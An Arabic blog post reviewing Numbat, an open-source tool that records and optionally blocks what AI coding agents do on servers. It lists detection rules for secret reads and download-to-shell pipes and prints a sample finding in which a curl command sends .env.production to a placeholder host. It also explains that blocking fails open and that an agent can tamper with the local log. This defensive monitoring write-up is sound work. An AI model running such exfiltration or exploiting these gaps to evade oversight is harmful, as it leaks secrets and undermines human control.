SSD Nodes Learn 🎉 VPS من $4.99/شهر
الأدلة Matt Connorبقلم Matt Connor · آخر تحديث في 2026-08-13

Numbat: راقب ما تفعله وكلاء الذكاء الاصطناعي

تسجّل Numbat ما تنفّذه وكلاء البرمجة على خوادمك عبر hooks وملفات الجلسات، وتكشف ما تراه الأداة وما لا تستطيع منعه.

ما هو Numbat

يوفّر Numbat رؤية لما نفّذه وكيل ذكاء اصطناعي على جهاز تملكه. يقرأ استدعاءات hook وملفات الجلسات التي تنتجها عوامل البرمجة بالفعل، ويوحّدها في تنسيق أحداث واحد، ثم يطابقها مع قواعد تُفعَّل عند سلوكيات مثل قراءة مفتاح SSH خاص أو تمرير تنزيل مباشرة إلى shell. أصدرت Perplexity الأداة كمصدر مفتوح بموجب ترخيص Apache 2.0، وكان أول إصدار موسوم لها في 29 July 2026.

تأتي جميع المعلومات أدناه من مستودع المشروع ووثائقه الخاصة، وقد قُرئت في 2 August 2026. عندما تذكر Perplexity ادعاءً، يوضّح هذا المنشور ذلك. هذا ليس درساً لتثبيت الأداة، لأن المستودع لم يمضِ على إنشائه سوى أيام، وستتغير أوامره.

المشكلة: لا أحد يسجّل ما فعله الوكيل

يشغّل وكيل برمجي على VPS أوامر shell، ويقرأ الملفات، ويكتبها، ويفتح اتصالات شبكية، وكل ذلك باسم المستخدم الذي منحته له. لا يسجّل سجل shell أيّاً من هذه الأفعال، لأن الوكيل لا يكتب داخل shell الخاص بك. يسجّل sshd تسجيل دخولك فقط، ولا يسجّل ما قرر النموذج فعله بعد ذلك. ولا يصدر /var/log/auth.log أي سجل إلا إذا وصل شيء إلى sudo. يحتفظ الوكيل بسجل محادثته الخاص، لكن هذا الملف يوجد في دليل جلسة الوكيل، ويتغير تنسيقه بين الإصدارات، كما يمكن لعملية الوكيل نفسها الكتابة فيه.

لذلك، عندما يسأل أحدهم عمّا إذا كان الوكيل قد قرأ .env.production يوم الثلاثاء الماضي، فالإجابة الصادقة على معظم الخوادم هي أنك لا تستطيع معرفة ذلك. هذه الفجوة هي سبب وجود هذا المشروع.

ما الذي تدّعي Perplexity أن Numbat يفعله

تبدأ وثيقة README بوصف الأداة بأنها «توفر رؤية لنشاط وكيل الذكاء الاصطناعي على نقطة النهاية، مع اكتشاف محلي، وحظر اختياري قبل تنفيذ الإجراء، وإعادة بناء جنائية». المقصود بنقطة النهاية هنا هو الجهاز الذي يعمل عليه الوكيل، وليس جهاز شبكة يراقب النشاط من الخارج. هذه قدرات منفصلة، ولكل منها أهمية مختلفة.

يعمل الاكتشاف على الجهاز. تُكتب القواعد بلغة CEL (لغة التعبيرات الشائعة) وتُقيَّم محلياً، مع دعم قواعد التسلسل متعددة الخطوات، وإمكانية استخدام قواعدك الخاصة بصيغة YAML. لا يلزم أن يغادر أي شيء الجهاز حتى تُفعَّل القاعدة.

الحظر اختياري ومحدود النطاق. وهو يعمل فقط من خلال خطافات متزامنة قبل تنفيذ الإجراء، وعلى الوكلاء الذين يوفّرون هذه الخطافات. ويظل معطّلاً حتى تفعّله.

تحدث إعادة البناء بعد وقوع النشاط. يحلّل numbat scan ملفات جلسة سبق أن كتبها الوكيل على القرص، بحيث يمكنك فحص النشاط الذي وقع قبل تثبيت أي شيء. ويحرص المشروع على تقييد هذا الادعاء: «إعادة البناء من البيانات المخزنة ليست جمعاً لمحتوى القرص أو الذاكرة، ولا يمكنها استعادة نشاط لم يحفظه الوكيل».

يكون الإخراج بصيغة NDJSON ذات إصدارات، وهي JSON مفصول بأسطر جديدة، ويغطي الأحداث والنتائج وقرارات التنفيذ والمؤشرات وملخصات الفحص، وفق إصدار المخطط 0.2.0 اعتباراً من v0.1.2. تُرسل السجلات إلى stdout أو إلى ملف محلي، ويمكن اختيارياً إرسالها عبر HTTP إلى جامع تشغّله أنت. تُوزَّع الأداة في صورة ملف Go ثنائي ثابت واحد، مبني من دون cgo، لأنظمة macOS وLinux وWindows على معماريتي amd64 وarm64. لذلك تكون على خادم VPS يعمل بنظام Linux ملفاً واحداً لا يحتاج إلى تثبيت بيئة تشغيل مسبقاً.

ما الوكلاء الذين يستطيع Numbat رؤيتهم فعلياً؟

مصفوفة التغطية في docs/agent-coverage.md هي القائمة المعتمدة، لكنها غير متساوية. يذكر المشروع ذلك بوضوح بدلاً من إخفائه. يدعم Claude Code وCodex وGemini CLI وCursor وGitHub Copilot CLI كلاً من فحص المصنوعات والتقاط النشاط المباشر باستخدام hook قبل الإجراء. ويحصل OpenClaw على plugin أصلي بدءاً من الإصدار 2026.7.1. توجد قائمة طويلة من الإدخالات المعلّمة بالحالة المؤجلة، وهذا يعني أن مسار hook للنشاط المباشر موجود، لكن محلّل المصنوعات غير موجود. يحدث ذلك غالباً لأن الوكيل يخزّن سجله في SQLite باستخدام سجل الكتابة المسبقة، ولا يمكن قراءته بأمان أثناء تشغيل الوكيل. كان OpenCode وCline ضمن هذه المجموعة عند قراءة المصفوفة في 2 August 2026.

تحقق من صف الوكيل الذي تستخدمه قبل أن تخطط لأي شيء بالاعتماد على هذه الأداة، لأن معنى "مدعوم" يختلف تقريباً في كل سطر.

كيف يبدو الاكتشاف

تحتوي القواعد على معرّفات توضّح الغرض منها. تغطي secrets.read_private_key مفتاح SSH أو بيانات اعتماد AWS أو إعداد kube أو بيانات تسجيل الدخول إلى سجل الحزم. تُطلِق exec.download_pipe_shell تنبيهاً عندما تُمرَّر مخرجات curl أو wget عبر pipe إلى مفسّر. تلتقط privilege.elevated_shell طلباً للحصول على shell تفاعلي بحساب root عبر sudo أو doas أو su أو pkexec. تطابق impact.cryptomining_launch ملفات miner الثنائية وأسماء الصور المعروفة.

تجمع قواعد التسلسل الأحداث داخل جلسة واحدة. تتطلب chain.secret_read_then_egress قراءة ملف سري تتبعها أداة تحمل البيانات إلى الخارج. يعرض README النتيجة التالية من إعادة تشغيل مضبوطة لاثنين من callbacks الخاصة بالإجراء السابق في Claude Code، وليس من حادثة مباشرة. وقد اختُصرت هنا إلى الحقول المهمة:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

لاحظ وجود "confidence": "medium" داخل السجل، ولاحظ ما يقوله المشروع عن فئة المخرجات بأكملها: "النتائج هي تطابقات للقواعد، وليست دليلاً على اختراق." سيطابق نص نشر يقرأ مفتاحاً ثم يرفع artifact للبناء قاعدة التسلسل نفسها. يكون التطابق صحيحاً، بينما يكون التنبيه خاطئاً، وهذا هو الوضع المعتاد في كل أداة اكتشاف استخدمتها من قبل.

الحظر معطّل افتراضياً، وعند الفشل يُسمح بالمرور

كل قاعدة يصدّرها Numbat مخصّصة للمراقبة فقط. تحويل قاعدة إلى قاعدة حظر يتطلب إجراءً مقصوداً: انسخ YAML الكامل للقاعدة إلى دليلك الخاص، وأبقِ على المعرّف نفسه، وأضف enforce: true، ثم زد الإصدار، وبعد ذلك تحقّق من هذه السياسة وثبّتها.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

ننتقل الآن إلى الجزء الذي يحدد مدى الثقة التي ينبغي أن تمنحها له. إن deny في Numbat هو استجابة تُعاد إلى الوكيل، والوكيل هو الذي يرفض استدعاء الأداة فعلياً. يوضح دليل الإنفاذ مباشرة ما يحدث عند وجود مشكلة في Numbat نفسه: «تمنع الحمولات غير الصحيحة، وأخطاء التقييم ذات الصلة، وحالات panic، وفشل الإخراج إرسال deny من numbat». يقتصر إدخال hook على 4 MiB، ويسلك الإدخال الذي يتجاوز هذا الحجم المسار نفسه.

ويوضح الدليل بقدر مماثل حدّ deny الذي يصل فعلاً: «يعني Fail-open أن numbat يحجب استجابة deny الخاصة به. ولا يضمن ذلك تنفيذ الأداة؛ فقد يطلب المضيف تأكيداً، أو يرفض، أو تنتهي مهلة الانتظار، أو يطبّق hook أو سياسة أخرى».

لذلك، فإن الإنفاذ هنا وسيلة حماية، وليس حداً أمنياً. إذا تعطّلت العملية، فلن يحظر Numbat الإجراء، لأن أداة مراقبة توقف وكيلك في كل مرة تواجه فيها مشكلة ستُزال خلال أسبوع. هذه مفاضلة معقولة. لكن لا تبنِ نموذجاً أمنياً يفترض أن deny يصل دائماً.

مكان Numbat إلى جانب ما تستخدمه بالفعل

يعمل Numbat على نقطة النهاية، داخل شجرة عمليات الوكيل نفسه، ويكتب إلى ~/.numbat/records.ndjson افتراضياً. يمكن لوكيل يعمل بصفته المستخدم الخاص بك قراءة ذلك الملف. ويمكنه أيضاً تعديله. لا تساوي مسارات التدقيق أكثر من مستوى العزل المحيط بها، ولذلك يجب أن تسبقها كل وسائل التحكم الموجودة لديك، لا أن تعتمد عليها.

منح وكيل البرمجة جهازاً افتراضياً مؤقتاً يحدّ من الموارد التي يمكن لتشغيل ضار الوصول إليها. استخدام مستخدم بصلاحيات أقل على VPS يمنع الوكيل من الوصول إلى الملفات التي لا يحتاج إلى فتحها. إبعاد بيانات الاعتماد عن سياق الوكيل هو ما يجعل secrets.read_private_key نادراً بما يكفي ليستحق القراءة عند تشغيله. ولا يزال الـsandbox الذي أعددته لـ Claude Code على VPS هو المسؤول عن العزل. يحدّ العزل من الموارد التي يمكن لتشغيل ضار لمسها، بينما تدوين سبب تشكيل الكود بهذه الطريقة يقلل عدد المرات التي ينفذ فيها الوكيل شيئاً مفاجئاً بما يكفي لدفعك إلى مراجعة السجل.

ما يضيفه Numbat هو السجل، لذلك أرسل السجل إلى مكان لا يستطيع الوكيل الوصول إليه. وُجد numbat ship وHTTP sink لهذا الغرض. إن وجود نسخة من الدفق على جهاز ثانٍ هو الفرق بين ملف سجل ودليل. كما يحمل نموذج الأحداث حقول MCP (بروتوكول سياق النموذج)، لذلك تصل استدعاءات الأدوات التي تخرج عبر خادم MCP تستضيفه على VPS إلى الدفق نفسه الذي تصل إليه أوامر shell المحلية. وهذا مهم لأن هذا المسار غير مرئي لأي شيء يراقب bash فقط. وتنطبق نقطة الضعف نفسها على مثيل SearXNG الموصل ليعمل كواجهة بحث للوكيل، حيث يصل الخطر على هيئة نص صفحة غير موثوق يدخل إلى سياق النموذج، لا على هيئة أمر يمكن لأي قاعدة مطابقة له اكتشافه.

جرّبه بوضع القراءة فقط أولاً

ثبّت إصداراً محدداً. يتطلب go install إصدار Go 1.26.5 أو أحدث، وتوفّر صفحة الإصدارات ملفات ثنائية مبنية مسبقاً مع تجزئات SHA-256 إذا كنت تفضّل عدم البناء من المصدر.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

يكتشف numbat agents الوكلاء المثبّتين على الخادم. ويحلّل numbat scan آثار الجلسات الموجودة مسبقاً على القرص، ثم يطبع السجلات. يذكر ملف README أن هذه الأوامر «لا تثبّت hooks ولا تغيّر إعدادات الوكيل»، وأن numbat «لا ينفّذ الوكلاء أو الأوامر الموجودة في الآثار مطلقاً، ولا يجري طلبات صادرة إلا إلى sinks HTTP المهيّأة». تتم عملية الفحص بوضع القراءة فقط مع إخفاء الأسرار، ولا يتضمن إخراج السجلات المعتاد نسخة نصية خاملة كاملة.

الالتقاط المباشر هو الخطوة التالية، وهو يغيّر إعدادات الوكيل فعلاً:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

يكتب --emit all الأحداث والنتائج والمؤشرات وقرارات الإنفاذ المنطبقة إلى ~/.numbat/records.ndjson. يرد تحذيران مباشران في المشروع. قد تحتاج hooks إلى الوثوق بها داخل الوكيل قبل تشغيلها، ويجب مراجعة هذا الوثوق مرة أخرى بعد تغيير flags مثل --enforce. كما أن hook status «يتحقق من الإعداد، لا من التنفيذ أو التسليم»، ولذلك لا يثبت سطر الحالة السليم وصول السجلات إلى أي وجهة.

لماذا لا يُعد مستودع حديث بهذا القدر اعتماداً موثوقاً

الإصدارات العامة هي v0.1.1 في 29 July 2026 وv0.1.2 في 1 August 2026. كان عدد النجوم للمستودع 597 عندما كُتب هذا المنشور في 2 August 2026. تعكس هذه الزيادة السريعة جمهور Perplexity، لا مدى صمود الشيفرة في الاستخدام. تعني النجمة أن شخصاً ما حفظ الصفحة للعودة إليها لاحقاً.

رقم الإصدار يوضح بصراحة مرحلة المشروع. تتناول ملاحظات v0.1.2 في معظمها إصلاحات لإخفاء بيانات الاعتماد، إضافة إلى أعمال توحيد حزم الحالات والقياس عن بُعد. أخطاء الإخفاء هي الشكل المتوقع للعيوب المبكرة في أداة تتمثل مهمتها في قراءة نصوص جلسات البرامج الأخرى بأمان. وستظهر أخطاء أخرى، لأن المدخلات تأتي من عشرات الوكلاء، ويغيّر كل منهم تنسيقه وفق جدول زمني مستقل.

تنتج عن ذلك قاعدتان عمليتان. ثبّت الوسم، ولا تستخدم @latest مطلقاً، في أي شيء تحتفظ به. وتعامل مع الأداة باعتبارها أداة تقيّمها، لا مكوّناً تعتمد عليه، إلى أن يتوقف مخطط السجلات عن التغيّر.

FAQ

هل يحظر Numbat أوامر وكلاء الذكاء الاصطناعي الخطرة؟

فقط إذا فعّلت ذلك، وفقط على أساس بذل أفضل جهد. كل قاعدة يوفّرها Numbat تكون للمراقبة فقط. للحظر، انسخ YAML الخاص بالقاعدة إلى دليلك الخاص، واحتفظ بالمعرّف الخاص بها، وأضف enforce: true، وزِد رقم الإصدار، وثبّت الـhook باستخدام --enforce. حتى في هذه الحالة، يكون الرفض استجابة تُمرَّر إلى الوكيل، والوكيل هو الذي يرفض الاستدعاء. يوثّق المشروع سلوك الفتح عند الفشل: تؤدي الحمولات غير الصحيحة، وأخطاء التقييم، وحالات panic، وفشل الإخراج كلها إلى منع الرفض. استخدمه كحاجز وقائي، وليس كحدّ الحماية الوحيد.

ما وكلاء الذكاء الاصطناعي الذين يدعمهم Numbat؟

يختلف نطاق الدعم حسب الوكيل، وهو مدرج في docs/agent-coverage.md في المستودع. كان كل من Claude Code وCodex وGemini CLI وCursor وGitHub Copilot CLI يدعم فحص المصنوعات والتقاط البيانات الحية عند قراءة تلك الصفحة في 2 August 2026، كما يوفّر OpenClaw إضافة أصلية منذ الإصدار 2026.7.1. تُدرج الصفحة وكلاء آخرين كثيرين مع مسار hook حي، لكن من دون محلّل للمصنوعات حتى الآن، وعادةً لأن سجل جلساتهم موجود في قاعدة بيانات SQLite لا تكون قراءتها آمنة أثناء تشغيل الوكيل. اقرأ الصف الخاص بوكيلك، لأن كلمة "مدعوم" تغطي هناك مستويات مختلفة متعددة.

هل يستطيع الوكيل العبث بسجلات Numbat؟

نعم، إذا كان يعمل بصفته المستخدم نفسه. تكون السجلات افتراضياً في ~/.numbat/records.ndjson على الجهاز نفسه الذي يعمل عليه الوكيل، ولذلك يستطيع أي شيء يملك صلاحية الكتابة إلى ذلك المسار تغييرها أو حذفها. أرسل التدفق إلى جامع لا يستطيع الوكيل الوصول إليه، باستخدام numbat ship أو موصل HTTP، واحتفظ بالملف المحلي كنسخة مريحة للاستخدام. ولهذا أيضاً تكمل الأداة العزل بدلاً من أن تستبدله. فالوكيل المحصور في VM مؤقتة تحت مستخدم ذي أقل قدر من الصلاحيات يملك قدرة أقل بكثير على الوصول إلى سجل التدقيق الخاص به.

هل أصبح Numbat جاهزاً لخادم إنتاج؟

ليس كعنصر تحكم تعتمد عليه. كان أول إصدار عام هو v0.1.1 في 29 July 2026، وتلاه v0.1.2 في 1 August 2026، ولذلك لا تزال الأعلام ومخطط السجلات قيد التغيير. إن تشغيل numbat agents وnumbat scan على جهاز يكون للقراءة فقط ومنخفض المخاطر، وسيخبرك بما تركه وكلاؤك على القرص. أما تثبيت hooks للإنفاذ على خادم مهم فهو قرار مختلف، ويستحق استخدام tag مثبت ووضع خطة لما يحدث عندما يتصرف الـhook على نحو غير صحيح.